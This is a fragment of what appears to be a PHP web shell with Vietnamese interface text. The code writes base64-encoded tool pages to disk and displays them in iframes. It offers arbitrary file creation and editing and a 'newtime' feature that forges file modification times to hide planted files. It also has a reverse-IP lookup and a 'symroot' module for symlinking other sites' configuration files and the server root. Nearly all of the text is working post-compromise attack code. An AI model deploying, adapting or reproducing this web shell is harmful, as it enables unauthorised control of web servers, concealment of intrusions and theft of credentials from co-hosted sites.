owaUkwUkVSRVJFUkNJN0NtTXVZMjl0Y0dsc1pVbDBMbk4wZVd4bExtSmhZMnRuY205MWJtUkRiMnh2Y2owaUkwTXdRekJCT0NJN0NtTXVZMjl0Y0dsc1pVbDBMbk4wZVd4bExtTjFjbk52Y2owaWFHRnVaQ0k3Q21NdWMyVnNaV04wTG5OMGVXeGxMbUpoWTJ0bmNtOTFibVJEYjJ4dmNqMGlJME13UXpCQk9DSTdDbU11YzJWc1pXTjBMbk4wZVd4bExtTjFjbk52Y2owaWFHRnVaQ0k3Q21NdWRtbGxkeTV6ZEhsc1pTNWlZV05yWjNKdmRXNWtRMjlzYjNJOUlpTkRNRU13UVRnaU93cGpMblpwWlhjdWMzUjViR1V1WTNWeWMyOXlQU0pvWVc1a0lqc0tZeTV5WlhSMWNpNXpkSGxzWlM1aVlXTnJaM0p2ZFc1a1EyOXNiM0k5SWlORE1FTXdRVGdpT3dwakxuSmxkSFZ5TG5OMGVXeGxMbU4xY25OdmNqMGlhR0Z1WkNJN0NtTXVZMnhsWVhJdWMzUjViR1V1WW1GamEyZHliM1Z1WkVOdmJHOXlQU0lqUXpCRE1FRTRJanNLWXk1amJHVmhjaTV6ZEhsc1pTNWpkWEp6YjNJOUltaGhibVFpT3dwOUNtVnNjMlVnY21WMGRYSnVPd3A5Q2dwbWRXNWpkR2x2YmlCTWFXZG9kRTl1S0hkb1lYUXBDbnNLYVdZZ0tHbGxLU0IzYUdGMExuTjBlV3hsTG1KaFkydG5jbTkxYm1SRGIyeHZjaUE5SUNjalJUQkZNRVF3SnpzS1pXeHpaU0J5WlhSMWNtNDdDbjBLWm5WdVkzUnBiMjRnUm05amRYTlBiaWgzYUdGMEtRcDdDbWxtSUNocFpTa2dkMmhoZEM1emRIbHNaUzVpWVdOclozSnZkVzVrUTI5c2IzSWdQU0FuSTBWQ1JVSkZRaWM3Q21Wc2MyVWdjbVYwZFhKdU93cDlDbVoxYm1OMGFXOXVJRXhwWjJoMFQzVjBLSGRvWVhRcENuc0thV1lnS0dsbEtTQjNhR0YwTG5OMGVXeGxMbUpoWTJ0bmNtOTFibVJEYjJ4dmNpQTlJQ2NqUXpCRE1FRTRKenNLWld4elpTQnlaWFIxY200N0NuMEtablZ1WTNScGIyNGdSbTlqZFhOUFptWW9kMmhoZENrS2V3cHBaaUFvYVdVcElIZG9ZWFF1YzNSNWJHVXVZbUZqYTJkeWIzVnVaRU52Ykc5eUlEMGdKeU5FUkVSRVJFUW5Pd3BsYkhObElISmxkSFZ5YmpzS2ZRb0tablZ1WTNScGIyNGdaMlZ1WlhKaGRHVW9LUXA3Q21OdlpHVWdQU0JrYjJOMWJXVnVkQzV3WVdRdWRHVjRkQzUyWVd4MVpUc0thV1lnS0dOdlpHVXBDbnNLWkc5amRXMWxiblF1Y0dGa0xuUmxlSFF1ZG1Gc2RXVTlKMUJzWldGelpTQlhZV2wwTGk0dUxpNHVMaTRuT3dwelpYUlVhVzFsYjNWMEtDSmpiMjF3YVd4bEtDa2lMREV3TURBcE93cDlDbVZzYzJVZ1lXeGxjblFvSjBWeWNtOXlKeWtLZlFwbWRXNWpkR2x2YmlCamIyMXdhV3hsS0NrS2V3cGtiMk4xYldWdWRDNXdZV1F1ZEdWNGRDNTJZV3gxWlQwbkp6c0tZMjl0Y0dsc1lYUnBiMjQ5WlhOallYQmxLR052WkdVcE93cGtiMk4xYldWdWRDNXdZV1F1ZEdWNGRDNTJZV3gxWlQwaVBITmpjbWx3ZEQ0S1BDRXRMUXBrYjJOMWJXVnVkQzUzY21sMFpTaDFibVZ6WTJGd1pTaGNJaUlyWTI5dGNHbHNZWFJwYjI0cklsd2lLU2s3Q2k4dkxTMCtDanhjTDNOamNtbHdkRDRpT3dwcEt5czdDbWxtSUNocFBURXBJR0ZzWlhKMEtDSkRiMjVuY21GMGRXeGhkR2x2YmlJcE93cGxiSE5sSUdGc1pYSjBLQ0pEYjI1bmNtRjBkV3hoZEdsdmJpSXBPd3A5Q21aMWJtTjBhVzl1SUhObGJHVmpkRU52WkdVb0tRcDdDbWxtS0dSdlkzVnRaVzUwTG5CaFpDNTBaWGgwTG5aaGJIVmxMbXhsYm1kMGFENHdLUXA3Q21SdlkzVnRaVzUwTG5CaFpDNTBaWGgwTG1adlkzVnpLQ2s3Q21SdlkzVnRaVzUwTG5CaFpDNTBaWGgwTG5ObGJHVmpkQ2dwT3dwOUNtVnNjMlVnWVd4bGNuUW9KMFZ5Y205eUlDRW5LUXA5Q21aMWJtTjBhVzl1SUhCeVpYWnBaWGNvS1FwN0NtbG1LR1J2WTNWdFpXNTBMbkJoWkM1MFpYaDBMblpoYkhWbExteGxibWQwYUQ0d0tRcDdDbkJ5UFhkcGJtUnZkeTV2Y0dWdUtDSWlMQ0pUYUc5M0lpd2ljMk55YjJ4c1ltRnljejB4TEcxbGJuVmlZWEk5TVN4emRHRjBkWE05TVN4M2FXUjBhRDAzSURBd0xHaGxhV2RvZEQwek1qQXNiR1ZtZEQwMU1DeDBiM0E5TVRFd0lpazdDbkJ5TG1SdlkzVnRaVzUwTG5keWFYUmxLR1J2WTNWdFpXNTBMbkJoWkM1MFpYaDBMblpoYkhWbEtUc0tmUXBsYkhObElHRnNaWEowS0NkRGIyNW5jbUYwZFd4aGRHbHZiaWNwQ24wS1puVnVZM1JwYjI0Z2RXNWpiMjF3YVd4bEtDa0tld3BwWmlBb1pHOWpkVzFsYm5RdWNHRmtMblJsZUhRdWRtRnNkV1V1YkdWdVozUm9QakFwQ25zS2MyOTFjbU5sUFhWdVpYTmpZWEJsS0dSdlkzVnRaVzUwTG5CaFpDNTBaWGgwTG5aaGJIVmxLVHNLWkc5amRXMWxiblF1Y0dGa0xuUmxlSFF1ZG1Gc2RXVTlJaUlyYzI5MWNtTmxLeUlpT3dwOUNtVnNjMlVnWVd4bGNuUW9KeTR1TGk0dUxpNHVMaTR1TGk0dUp5a0tmUW92THlBdExUNEtQQzl6WTNKcGNIUStDanhpYjJSNUlHSm5ZMjlzYjNJOVlteGhZMnNnZEc5d2JXRnlaMmx1UFRBZ2JHVm1kRzFoY21kcGJqMHdJRzFoY21kcGJtaGxhV2RvZEQwd0lHMWhjbWRwYm5kcFpIUm9QVEFnYjI1c2IyRmtQV2x1YVhSVGRIbHNaVVZzWlcxbGJuUnpLQ2srQ2p4bWIyNTBJR052Ykc5eVBTSWpNREJsWlRBd0lpQnphWHBsUFNJMUlqNDhZajVGYm1OdlpHVXZSR1ZqYjJSbElFaFVUVXdnS0hWdVpYTmpZWEJsS1R3dllqNDhMMlp2Ym5RK1BDOWpaVzUwWlhJK1BDOWthWFkrQ2p4MFlXSnNaU0JpYjNKa1pYSTlNQ0IzYVdSMGFEMHhNREFsSUdObGJHeHpjR0ZqYVc1blBUQWdZMlZzYkhCaFpHUnBibWM5TUQ0S1BIUnlQZ284ZEdRZ2QybGtkR2c5TVRBd0pTQm9aV2xuYUhROUlqSXpJajQ4TDNSa1BnbzhMM1J5UGdvOGRISStDangwWkNCM2FXUjBhRDB4TURBbElHaGxhV2RvZEQweU16NDhMM1JrUGdvOEwzUnlQZ284ZEhJK0NqeDBaQ0IzYVdSMGFEMHhNREFsSUdGc2FXZHVQV05sYm5SbGNqNEtQQ0V0TFNCRGIyMXdhV3hoZEdsdmJpQlFZVzVsYkNBdExUNEtQR1p2Y20wZ2JXVjBhRzlrUFhCdmMzUWdibUZ0WlQxd1lXUWdZV3hwWjI0OVkyVnVkR1Z5UGdvOGRHVjRkR0Z5WldFZ2NtOTNjejB4TVNCdVlXMWxQWFJsZUhRZ1kyOXNjejAxT0NCemRIbHNaVDBpWW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdPM2RwWkhSb09qa3dKU0krUEM5MFpYaDBZWEpsWVQ0OFluSStDanhwYm5CMWRDQjBlWEJsUFdKMWRIUnZiaUIyWVd4MVpUMGlSVzVqYjJSbElpQnVZVzFsUFdOdmJYQnBiR1ZKZENCdmJrTnNhV05yUFdkbGJtVnlZWFJsS0NrZ2IyNU5iM1Z6WlU5MlpYSTlUR2xuYUhSUGJpaDBhR2x6S1NCdmJrMXZkWE5sVDNWMFBVeHBaMmgwVDNWMEtIUm9hWE1wUGdvOGFXNXdkWFFnZEhsd1pUMWlkWFIwYjI0Z2RtRnNkV1U5SWxObGJHVmpkQ0lnYm1GdFpUMXpaV3hsWTNRZ2IyNURiR2xqYXoxelpXeGxZM1JEYjJSbEtDa2diMjVOYjNWelpVOTJaWEk5VEdsbmFIUlBiaWgwYUdsektTQnZiazF2ZFhObFQzVjBQVXhwWjJoMFQzVjBLSFJvYVhNcFBnbzhhVzV3ZFhRZ2RIbHdaVDFpZFhSMGIyNGdkbUZzZFdVOUlsWnBaWGNpSUc1aGJXVTlkbWxsZHlCdmJrTnNhV05yUFhCeVpYWnBaWGNvS1NCdmJrMXZkWE5sVDNabGNqMU1hV2RvZEU5dUtIUm9hWE1wSUc5dVRXOTFjMlZQZFhROVRHbG5hSFJQZFhRb2RHaHBjeWsrQ2p4cGJuQjFkQ0IwZVhCbFBXSjFkSFJ2YmlCMllXeDFaVDBpUkdWamIyUmxJaUJ1WVcxbFBYSmxkSFZ5SUc5dVEyeHBZMnM5ZFc1amIyMXdhV3hsS0NrZ2IyNU5iM1Z6WlU5MlpYSTlUR2xuYUhSUGJpaDBhR2x6S1NCdmJrMXZkWE5sVDNWMFBVeHBaMmgwVDNWMEtIUm9hWE1wUGdvOGFXNXdkWFFnZEhsd1pUMXlaWE5sZENCMllXeDFaVDBpUTJ4bFlYSWdRVXhNSWlCdVlXMWxQV05zWldGeUlHOXVUVzkxYzJWUGRtVnlQVXhwWjJoMFQyNG9kR2hwY3lrZ2IyNU5iM1Z6WlU5MWREMU1hV2RvZEU5MWRDaDBhR2x6S1Q0S1BDOW1iM0p0UGdvOElTMHRJRU52YlhCcGJHRjBhVzl1SUZCaGJtVnNJQzB0UGdvOEwzUmtQZ284TDNSeVBnbzhMM1JoWW14bFBnbzhMMkp2WkhrK0Nqd3ZkR0p2WkhrK0NqeGljajQ4WW5JK0NqeHpZM0pwY0hRZ2JHRnVaM1ZoWjJVOUlrcGhkbUZUWTNKcGNIUWlQZ284SVMwdElDQUtMeThnUTI5a1pTQkVaV052WkdVZ1JsUlFDaUFnWm5WdVkzUnBiMjRnWTI5blpXTnBabkpoWkc4b2MzUnlLU0I3Q2lBZ2FXWWdLSE4wY2k1cGJtUmxlRTltS0NkR1ZGQTlKeXdnTUNrZ1BUMGdMVEVnZkh3S0lDQWdJQ0FnYzNSeUxteGxibWQwYUMwek56d3dLU0FLSUNBZ0lDQWdJQ0JoYkdWeWRDZ2lSVkpTVDFJZ09pQnZiaUJqYjJSbElIQm9hU0JwSUd0dElIUm9aVzhnTENCRmVHRnRjR3hsSURvZ1JsUlFQU0JqYjJSbElDSXBPd29nSUFvZ0lHVnNjMlVnZXdvSmNHRnpjM2M5YzNSeUxuTjFZbk4wY21sdVp5Z3pOeXh6ZEhJdWJHVnVaM1JvS1RzS0NXWnZjaUFvZG1GeUlHa2dQU0F3T3lCcFBIQmhjM04zTG14bGJtZDBhQzh5T3lCcEt5c3BDZ2tnZXdrZ0Nna2dJQ0IyWVhJZ1kyRnlZV04wWlhJOWNHRnpjM2N1YzNWaWMzUnlhVzVuS0drcU1peHBLaklyTWlrN0Nna2dJQ0IyWVhJZ2MyRnNQWE4wY2k1emRXSnpkSEpwYm1jb05TdHBMRFlyYVNrN0Nna2dJQ0IyWVhJZ1kyeGhjbTg5Y0dGeWMyVkpiblFvSWpCNElpdGpZWEpoWTNSbGNpa2dMV2tnTFRFZ0xTQW9LRFEzSzNCaGNuTmxTVzUwS0NJd2VDSXJjMkZzS1NrbE5UY3BPd29nSUNBZ0lDQWdJQ0FnSUdSdlkzVnRaVzUwTG1admNtMHhMblJsZUhReUxuWmhiSFZsUFdSdlkzVnRaVzUwTG1admNtMHhMblJsZUhReUxuWmhiSFZsSzFOMGNtbHVaeTVtY205dFEyaGhja052WkdVb1kyeGhjbThwT3dvSklDQjlDZ2w5Q2lBZ2ZRb3ZMeUF0TFQ0S1BDOXpZM0pwY0hRK0NqeGljajQ4WW5JK1BHSnlQZ284TDJScGRqNEtQQzlpYjJSNVBnbzhMMmgwYld3K0Nqdy8nOwoKJGZpbGUgPSBmb3BlbigiaHRtbHBocC5waHAiICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY29uZmlnc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJiYi5waHAiLDA3NTUpOwogICBlY2hvICI8aWZyYW1lIHNyYz1oYXNoX3Rvb2xzL2h0bWxwaHAucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQppZiAoaXNzZXQoJF9QT1NUWydtZDVlbmNvZGUnXSkpCnsKICAgIG1rZGlyKCdoYXNoX3Rvb2xzJywgMDc1NSk7CiAgICBjaGRpcignaGFzaF90b29scycpOwokY29uZmlnc2hlbGwgPSAnUEQ5d2FIQWdaV05vYnlBblBHTmxiblJsY2o0OFptOXliU0J0WlhSb2IyUTlJbEJQVTFRaVBnbzhhVzV3ZFhRZ2RIbHdaVDBpZEdWNGRDSWdibUZ0WlQwaVJtbHlaVUZ1WjJWc0lqNEtQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYm1GdFpUMGliV1ExSWlCMllXeDFaVDBpVFc5dVMybHlZU0krUEM5alpXNTBaWEkrQ2p4bWIyNTBJSE5wZW1VOUlqUWlJSE4wZVd4bFBTSmpiMnh2Y2pwM2FHbDBaVHQwWlhoMExYTm9ZV1J2ZHpvZ01DQXdJREV1T1dWdElHSnNkV1VzTUNBd0lEQXVNMlZ0SUhKbFpEc2lQakV5TXpRMU5pQTlJR1V4TUdGa1l6TTVORGxpWVRVNVlXSmlaVFUyWlRBMU4yWXlNR1k0T0RObElEeGljajV0YjI1cmFYSmhJRDBnT1RoalkyRXpOREl4TVdRNFlXWmhOV1ZsTkRkbU16WXhNbVF3TVdFNFpqZ2dQQzltYjI1MFBpQW5Pd3BwWmlocGMzTmxkQ2drWDFCUFUxUmJKMjFrTlNkZEtTa0tld29nSUNBZ0lDQWdJQ1J0WkRVZ1BTQnRaRFVvSkY5UVQxTlVXeWRHYVhKbFFXNW5aV3duWFNrN0NpQWdJQ0FnSUNBZ1pXTm9ieUFpUEdKeVBpSTdDaUFnSUNBZ0lDQWdaV05vYnlBa2JXUTFPd29nSUNBZ0lDQWdJSDBLSUQ4Kyc7CgokZmlsZSA9IGZvcGVuKCJtZDVlbmNvZGUucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9aGFzaF90b29scy9tZDVlbmNvZGUucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQo/PgoKCiAgPHRyPgogICAgICA8dHI+CiAgICAgICAgPHRkIGNsYXNzPSd0ZCcgc3R5bGU9J2JvcmRlci1ib3R0b20td2lkdGg6dGhpbjtib3JkZXItdG9wLXdpZHRoOnRoaW4nPjxmb3JtIG5hbWU9J0YxJyBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KCQkJPGNlbnRlcj4KICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IHNpemU9IjQiIHN0eWxlPSJjb2xvcjp3aGl0ZTt0ZXh0LXNoYWRvdzogMCAwIDEuOWVtIGJsdWUsMCAwIDAuM2VtIHJlZDsiPjEuIEhUTUwgSGV4IEVuY29kZTwvZm9udD48YnI+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0naHRtbGhleGVuY29kZScgIHZhbHVlPSdIVE1MIEhleCBFbmNvZGUnPjxwPgoJCQkgIDxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IHNpemU9IjQiIHN0eWxlPSJjb2xvcjp3aGl0ZTt0ZXh0LXNoYWRvdzogMCAwIDEuOWVtIGJsdWUsMCAwIDAuM2VtIHJlZDsiPjIuIEhUTUwgJiBQSFA8L2ZvbnQ+PGJyPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2h0bWxwaHAnICB2YWx1ZT0nRW5jb2RlICYgRGVjb2RlICogSFRNTCAmIFBIUCc+PHA+CgkJCSAgCTxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IHNpemU9IjQiIHN0eWxlPSJjb2xvcjp3aGl0ZTt0ZXh0LXNoYWRvdzogMCAwIDEuOWVtIGJsdWUsMCAwIDAuM2VtIHJlZDsiPjMuIE1ENSBFbmNvZGU8L2ZvbnQ+PGJyPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J21kNWVuY29kZScgIHZhbHVlPSdNRDUgRW5jb2RlJz4KCQkJICA8L2NlbnRlcj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPjwvdGQ+CiAgICAgIDwvdHI+CiAgIDwvdHI+CiAgIAo8L2JvZHk+CjwvaHRtbD4=';
1939 $file = fopen("hash.php", "w+");
1940 $write = fwrite($file, base64_decode($perltoolss));
1941 fclose($file);
1942 echo "<iframe src=hash.php width=100% height=720px frameborder=0></iframe> ";
1943} elseif ($action == 'reverseip') {
1944
1945 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
1946} elseif ($action == 'editfile') {
1947 if (file_exists($opfile)) {
1948 $fp = @fopen($opfile, 'r');
1949 $contents = @fread($fp, filesize($opfile));
1950 @fclose($fp);
1951 $contents = htmlspecialchars($contents);
1952 }
1953 formhead(array(
1954 'title' => 'Tạo mới và chỉnh sửa file'
1955 ));
1956 makehide('action', 'file');
1957 makehide('dir', $nowpath);
1958 makeinput(array(
1959 'title' => 'Path file (ghi đầy đủ path khi tạo mới file)',
1960 'name' => 'editfilename',
1961 'value' => $opfile,
1962 'newline' => 1
1963 ));
1964 maketext(array(
1965 'title' => 'Code file',
1966 'name' => 'filecontent',
1967 'value' => $contents
1968 ));
1969 formfooter();
1970} elseif ($action == 'newtime') {
1971 $opfilemtime = @filemtime($opfile);
1972 $cachemonth = array(
1973 'January' => 1,
1974 'February' => 2,
1975 'March' => 3,
1976 'April' => 4,
1977 'May' => 5,
1978 'June' => 6,
1979 'July' => 7,
1980 'August' => 8,
1981 'September' => 9,
1982 'October' => 10,
1983 'November' => 11,
1984 'December' => 12
1985 );
1986 formhead(array(
1987 'title' => 'Clone file was last modified time'
1988 ));
1989 makehide('action', 'file');
1990 makehide('dir', $nowpath);
1991 makeinput(array(
1992 'title' => 'Alter file',
1993 'name' => 'curfile',
1994 'value' => $opfile,
1995 'size' => 120,
1996 'newline' => 1
1997 ));
1998 makeinput(array(
1999 'title' => 'Reference file (fullpath)',
2000 'name' => 'tarfile',
2001 'size' => 120,
2002 'newline' => 1
2003 ));
2004 formfooter();
2005 formhead(array(
2006 'title' => 'Set last modified'
2007 ));
2008 makehide('action', 'file');
2009 makehide('dir', $nowpath);
2010 makeinput(array(
2011 'title' => 'Current file (fullpath)',
2012 'name' => 'curfile',
2013 'value' => $opfile,
2014 'size' => 120,
2015 'newline' => 1
2016 ));
2017 p('<p>Instead »');
2018 p('year:');
2019 makeinput(array(
2020 'name' => 'year',
2021 'value' => date('Y', $opfilemtime),
2022 'size' => 4
2023 ));
2024 p('month:');
2025 makeinput(array(
2026 'name' => 'month',
2027 'value' => date('m', $opfilemtime),
2028 'size' => 2
2029 ));
2030 p('day:');
2031 makeinput(array(
2032 'name' => 'day',
2033 'value' => date('d', $opfilemtime),
2034 'size' => 2
2035 ));
2036 p('hour:');
2037 makeinput(array(
2038 'name' => 'hour',
2039 'value' => date('H', $opfilemtime),
2040 'size' => 2
2041 ));
2042 p('minute:');
2043 makeinput(array(
2044 'name' => 'minute',
2045 'value' => date('i', $opfilemtime),
2046 'size' => 2
2047 ));
2048 p('second:');
2049 makeinput(array(
2050 'name' => 'second',
2051 'value' => date('s', $opfilemtime),
2052 'size' => 2
2053 ));
2054 p('</p>');
2055 formfooter();
2056} elseif ($action == 'symroot') {
2057 $file = fopen($dir . "symroot.php", "w+");
2058 $perltoolss = 'PD9waHAKCgogJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPC9zY3JpcHQ+Cjx0aXRsZT4tLT09W1tTeW0gbGpuayBBTGwgQ29uRmlnICsgU3ltIFJvb3RdXT09LS08L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cgo8U1RZTEU+CmJvZHkgewpmb250LWZhbWlseTogVGFob21hCgpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovLzI0Lm1lZGlhLnR1bWJsci5jb20vYTFmZDhhZGIyODg3M2YyMDlhZjhlODg5MDU3ODI5ZmQvdHVtYmxyX21zMGVvYXhaNUoxc2JhdnV1bzFfNTAwLmdpZikKfQoKYm9keSB7CmZvbnQtZmFtaWx5OiBUYWhvbWEKfQp0ciB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpjb2xvcjogI0ZGRjsKfQp0ZCB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpjb2xvcjogI0ZGRjsKfQoudGFibGUxIHsKQk9SREVSOiAwcHggQmxhY2s7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI0ZGRjsKfQoudGQxIHsKQk9SREVSOiAwcHg7CkJPUkRFUi1DT0xPUjogIzMzMzMzMzsKZm9udDogN3B0IFZlcmRhbmE7CmNvbG9yOiBHcmVlbjsKfQoudHIxIHsKQk9SREVSOiAwcHg7CkJPUkRFUi1DT0xPUjogIzMzMzMzMzsKY29sb3I6ICNGRkY7Cn0KdGFibGUgewpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKY29sb3I6ICNGRkY7Cn0KaW5wdXQgewpib3JkZXIJCQk6IGRhc2hlZCAxcHg7CmJvcmRlci1jb2xvcgkJOiAjMzMzOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogOHB0IFZlcmRhbmE7CmNvbG9yOiBSZWQ7Cn0Kc2VsZWN0IHsKQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjREYwMDAwIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgI0RGMDAwMCAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsKQk9SREVSLWNvbG9yOiAjRkZGOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogOHB0IFZlcmRhbmE7CmNvbG9yOiBSZWQ7Cn0Kc3VibWl0IHsKQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwp3aWR0aDogMzAlOwpjb2xvcjogI0ZGRjsKfQp0ZXh0YXJlYSB7CmJvcmRlcgkJCTogZGFzaGVkIDFweCAjMzMzOwpCQUNLR1JPVU5ELUNPTE9SOiB3aGl0ZTsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6ICM5OTk7Cn0KQk9EWSB7CglTQ1JPTExCQVItRkFDRS1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1TSEFET1ctY29sb3I6ICNGRkY7IFNDUk9MTEJBUi0zRExJR0hULWNvbG9yOiAjRkZGOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItVFJBQ0stY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLWNvbG9yOiAjRkZGCm1hcmdpbjogMXB4Owpjb2xvcjogUmVkOwpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL2kxMDY1LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvdTM5MS9Nb25LaXJhL2JnX3pwc2RkdDIxNzZ6LmpwZyk7Cn0KLm1haW4gewptYXJnaW4JCQk6IC0yODdweCAwcHggMHB4IC00OTBweDsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CkJPUkRFUi1DT0xPUjogIzMzMzMzMzsKfQoudHQgewpiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKfQoKQTpsaW5rIHsKCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQo8L1NUWUxFPgo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPgpmdW5jdGlvbiBoaWRlX2RpdihpZCkKewogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7Cn0KZnVuY3Rpb24gc2hvd19kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsKICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsKfQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpCnsKICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpCiAgICBzaG93X2RpdihpZCk7CiAgZWxzZQogICAgaGlkZV9kaXYoaWQpOwp9CjwvU1RZTEU+CjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+CmZ1bmN0aW9uIGhpZGVfZGl2KGlkKQp7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsKICBkb2N1bWVudC5jb29raWU9aWQrXCc9MDtcJzsKfQpmdW5jdGlvbiBzaG93X2RpdihpZCkKewogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID0gXCdibG9ja1wnOwogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOwp9CmZ1bmN0aW9uIGNoYW5nZV9kaXZzdChpZCkKewogIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9PSBcJ25vbmVcJykKICAgIHNob3dfZGl2KGlkKTsKICBlbHNlCiAgICBoaWRlX2RpdihpZCk7Cn0KPC9zY3JpcHQ+JzsgPz4KPGh0bWw+Cgk8aGVhZD4KCQk8P3BocCAKCQllY2hvICRoZWFkIDsKCQllY2hvICcKCjx0YWJsZSB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBjbGFzcz0idGIxIiA+CgoJCQkKCiAgICAgICA8dGQgd2lkdGg9IjEwMCUiIGFsaWduPWNlbnRlciB2YWxpZ249InRvcCIgcm93c3Bhbj0iMSI+CiAgICAgICAgICAgPGZvbnQgY29sb3I9cmVkIHNpemU9NSBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4tLT09W1sgU3ltIGxqbmsgQUxsIENvbkZpZzwvZm9udD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+ICAgKyBTeW0gUm9vdCA8L2ZvbnQ+PGZvbnQgY29sb3I9Z3JlZW4gc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPiAgXV09PS0tPC9mb250PiA8ZGl2IGNsYXNzPSJoZWRyIj4gCgogICAgICAgIDx0ZCBoZWlnaHQ9IjEwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRkMSI+PC90ZD48L3RyPjx0cj48dGQgCiAgICAgICAgd2lkdGg9IjEwMCUiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiByb3dzcGFuPSIxIj48Zm9udCAKICAgICAgICBjb2xvcj0icmVkIiBmYWNlPSJjb21pYyBzYW5zIG1zInNpemU9IjEiPjxiPiAKICAgICAgICAJCQkJCQogICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgCgonOyAKCj8+CjxjZW50ZXI+Cjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IHNpemU9IjUiIHN0eWxlPSJjb2xvcjp3aGl0ZTt0ZXh0LXNoYWRvdzogMCAwIDEuOWVtIGJsdWUsMCAwIDAuM2VtIHJlZDsiPjEuIFThuqFvIGZpbGUgcGhwLmluaSE8L2ZvbnQ+PHA+CjxpbnB1dCB0eXBlPXN1Ym1p